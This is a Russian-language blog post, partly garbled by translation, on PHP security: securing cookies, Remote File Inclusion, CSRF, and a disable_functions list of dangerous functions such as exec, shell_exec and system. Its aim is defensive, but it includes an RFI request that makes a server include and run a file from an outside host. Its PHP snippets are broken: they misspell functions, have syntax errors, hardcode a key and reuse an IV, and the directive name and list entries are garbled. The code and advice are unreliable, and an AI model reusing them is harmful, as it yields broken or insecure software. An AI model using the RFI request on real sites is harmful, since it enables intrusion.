Post_81aПривет продолжаю рассматривать тему которая касается безопасности РНР. На очереди сессии и куки. Сессии и куки (cookies) — это также два других аспекта, которые необходимо учитывать, когда вы создаете РНР проект.

Они не могут нанести вред приложениям, и не так опасны, но они могут скомпрометировать учетные записи доступа, типа логин — пароль.

С помощью чего РНР процессор различает пользователей? С помощью индентификатора, который представляет собой 128 битное число.

Если пользователь впервые зашел на сайт и РНР процессор это отметил, то данному пользователю присваивается случайное уникальное число. Затем когда тот же посетитель придет на тот же сайт, то в следующий раз он будет ассоциований с тем же числом (индетификатором), в результате чего программе будет предъявлено персональная область памяти.

Таким образом, если есть возможность передать индентификатор от одной страницы (СРН-скрипта) к другому, то мы сможем различать всех пользователей.

Сессии и куки предназначены для хранения сведений о пользователях, при переходе между страницами. При использовании сессий данные хранятся во временных файлах на сервере. Файлы с куки хранятся на компьютере пользователя, и по запросу отсылаются браузером серверу.

Куки (coocies) — это текстовые строки, которые хранятся на стороне клиента, и содержат пары «имя-значение», с которыми связан URL, по которому браузер определяет нужно отправлять куки на сервер.

Использование куки является одним из самых популярных способов передачи индентификатора (данный способ работает по умолчанию). Если переменную поместить один раз в куки, тогда ее будут получать все скрипты.

Если у пользователя куки включены, РНР сам поместит туда индентификатор, и потом сам его оттуда достанет. В таком случае, в куки создается переменная с именем PHPSESSID (ИМЯ ПЕРЕМЕННОЙ МОЖНО ПОМЕНЯТЬ), и значение индентификатора.

Нетрудно догадаться что в куки может храниться секретная информация (номера банковских карточек, пароли и т.д.), которая является «лакомним кусочком» для злоумышленников. В связи с чем разработчик должен думать о том, чтобы информация, которая хранится в куки ни была доступна посторонним.

Несколько методов защиты информации, которая хранится в куки.

 ⇒ отправка куки по защищенному запроса

Необходимо для куки с конфинденцийною информацией, позволить отвечать только на защищенные запросы http. Таким образом, перехват данных которыми обменивается клиент и сервер, будет сделать труднее.

Чтобы реализовать захищине соединения, функции setcookies нужно задаст шестой параметр, со значением равным 1:

setcookies ( «Имиа», $ значение, время () + 7700, «/www/»,»site.ua»,1);

⇒ ограничения видимости области куки .

Сначала доступ к куки проходит с любого подкаталога, корневого каталога, может создать уязвимисть в системе защиты. Для формирования защиты, мы можем ограничить доступ к куки для всех страниц, кроме страниц расположенных в указанном каталоге

например / www .

SetCookie ( «imya», $value,time «/ WWW»);

мы можем ограничить область видимости cookies в конкретной страницы

SetCookie ( «imya», $ value,time «/ WWW / page1.php»);

⇒ ограничения доступа для доменов.

Список доменов, которые имеют доступ к куки должен быть ограничен, что обеспечить нам дополнительную безопасность. Для того чтобы организовать доступ с куки для одного домена из списка, необходимо задать четвертый параметр.

SetCookie ( «imya», $ value,time «/ WWW / page1.php», «mysite.ua.»);

⇒ шифрования

Способов шифрования куки существует много, ниже один из них. [/ stextbox]

<?PHP
// створюємо вектор початкового стану для шифрування.

$vector=mycript_criete_iv(mycript_criete_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB),MCRYPT_RAND));

$key = “qwe233jk312jx813893xk312″‘;// ключ для розшифровки

$cook_name = “first”;

$cipher = mcrypt_encrypt (MCRYPT_CAST_256, $key, $cook_name,MCRYPT_MODE_CFB,$vector);

setcookie(“username”,$cipher, “/decrypt_first.php”);
?>

Здесь расшифровка куки производится с помощью скрипта decrypt_first.php. . [/ stextbox]

<?PHP
//  вектор початкового стану залишається таким же.

$vector=

mycript_criete_iv(mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB),MCRYPT_RAND);

$key = “qwe233jk312jx813893xk312″‘;

$decrypt_name = mcrypt_decrypt(MCRYPT_CAST_256, $key, $username,MCRYPT_MODE_CFB,$vector);

echo(“$decrypt_name, ми раді бачити вас на нашій сторінці!”);
?>

Рекомендуют одновременно использовать все указанные способы

RFI — это еще одна , довольно проблемная уязвимисть в безопасности, которую необходимо иметь в виду в случае, если вы работаете с РНР. RFI (Remote File Inclusion англ «включение удаленного файла») грозит РНР, когда в приложении РНР есть внутренние файлы.

Присутствие угрозы RFI возможно вследствие присутствия в РНР четырех функций: include (), include_once () recuire_once ().

пример

<? PHP

$page = isset($_GET[‘page’]:’home’;

require $page . ‘.php’;

?>  

В данном примере показано то что называется «фронт-контроллер», а именно функция РНР которая связывает приложение и внутренний файл.

пример

Допустим что у нас по адресу http://syte.ua/site присутствует уязвимисть, и наш скрипт локализован по адресу http://website.ua/index.php.

Злоумышленник сделает такой запрос 

http://website.ua/index.php?page=http://syte.ua/site

В таком случае файл будет запущен на выполнение, и создаст новый файл на локальном диске РНР-сервера. В принципе это является серьезным нарушением безопасности, и позволяет пользователям запустить любой внешний файл на нашем РНР сервере, а также загрузить такой файл на сервер.

Как мы можем закрыть такого вида уязвимисть

Необходимо только поменять несколько строк в файле конфигурации php.ini

allow_url_fopen  — эта функция позволяет не включать внешние файлы в скрипт РНР

allow_url_include  — функция проверяет, могут функции include (), require () include_once () and recuire_once () обеспечить доступ к «удаленных файлов». По умолчанию она выключена.

Эти две функции позволяют корректно настроить безопасность внешних файлов в проекте РНР. Необходимо внимательно относиться к любым данных или информации, которая приходит извне, пользователям, паролям, внешним файлам и т.д.

Это является основным источником которое может навредить РНР

CSRF (Cross-Site Request подлог)

Также рекомендую узнать CSRF (Cross-site Request Forgery — подделка межсайтовых запросов). Эта угроза работает через включение вредоносного кода, или ссылку на страницу которая обращается к веб-приложения, на котором предлагается пользователю аутоинтификация. Если сессия для веб-приложению не иссякла, злоумышленник сможет выполнить несанкциновани команды.

Самым доступным способом защиты от CSRF (Cross-site Request Forgery) атак, может быть такая процедура, когда веб-сайты должны требовать подтверждающий ответ большинства действий пользователя, и проверять поле HTTP_REFERER если оно указано в запросе.

Еще один довольно розпоширений способ защиты — процедура согласно которому, с каждой сессией пользователя асоциуеться дополнительный секретный ключ, предназначенный для выполнения POST запросов.

Пользователь при выполнении любых действий внутри каждого POST- запроса, высылает этот ключ, а сервер его проверяет. Применение данного метода позволяет не осуществлять парсинг поля HTTP_REFERER, а значит нет необходимости учитывать большинство нюансов, возможных вариантов присутствия или отсутствия различных элементов данного поля.

опасные функции

disable_function = Д.Л. apache_child_terminate prog_close
Exec posix_kill pfsockopen
shell_exec posix_mkfifo leak
system posix_setpgid ini_set
passthru posix_setsid virtual
POPEN posix_setuid set_time_limit
pcloze escapeshellarg EscapeShellCmd
proc_terminate Suexec proc_open

В РНР есть несколько функций, которые могут быть отмечены как «опасные». Они могут быть по настоящей опасны, если будут руководствоваться хакером, так как это даст возможность контролировать сервер и базы данных на нем.

Так как мы должны защитить эти функции любой ценой, РНР закладывает в конфигурационный файл опцию disable_function. С ее помощью можно определить опасные функции и приостановить их при запуске сервера.

Необходимо иметь в виду, что основному РНР — сервера не требуется большое количество функций, поэтому будет неплохо приостанавливать как можно большее количество функций, которые существуют в РНР.

Функции которые рекомендуют останавливать при запуске сервера.

итог

О безопасности РНР материалов в интернтмережи присутствует очень много, как и создать публикаций на эту тему, можно очень много, даже посвятить безопасности РНР целый блог.

В данной категории «Безопасность в PHP» присутствует информация о самых розпоширени нарушения безопасности, и о том, что необходимо сделать, чтобы обеспечить стабильную работу вашего РНР проекта.

В любом случае главное запомнить что

1- не нужно доверять любимой информации, которая может попасть на ваш РНР приложение

2 — не нужно пользователям давать доступ ко всем приложениям

3 — необходимо фильтровать данные пользователей и данные сервера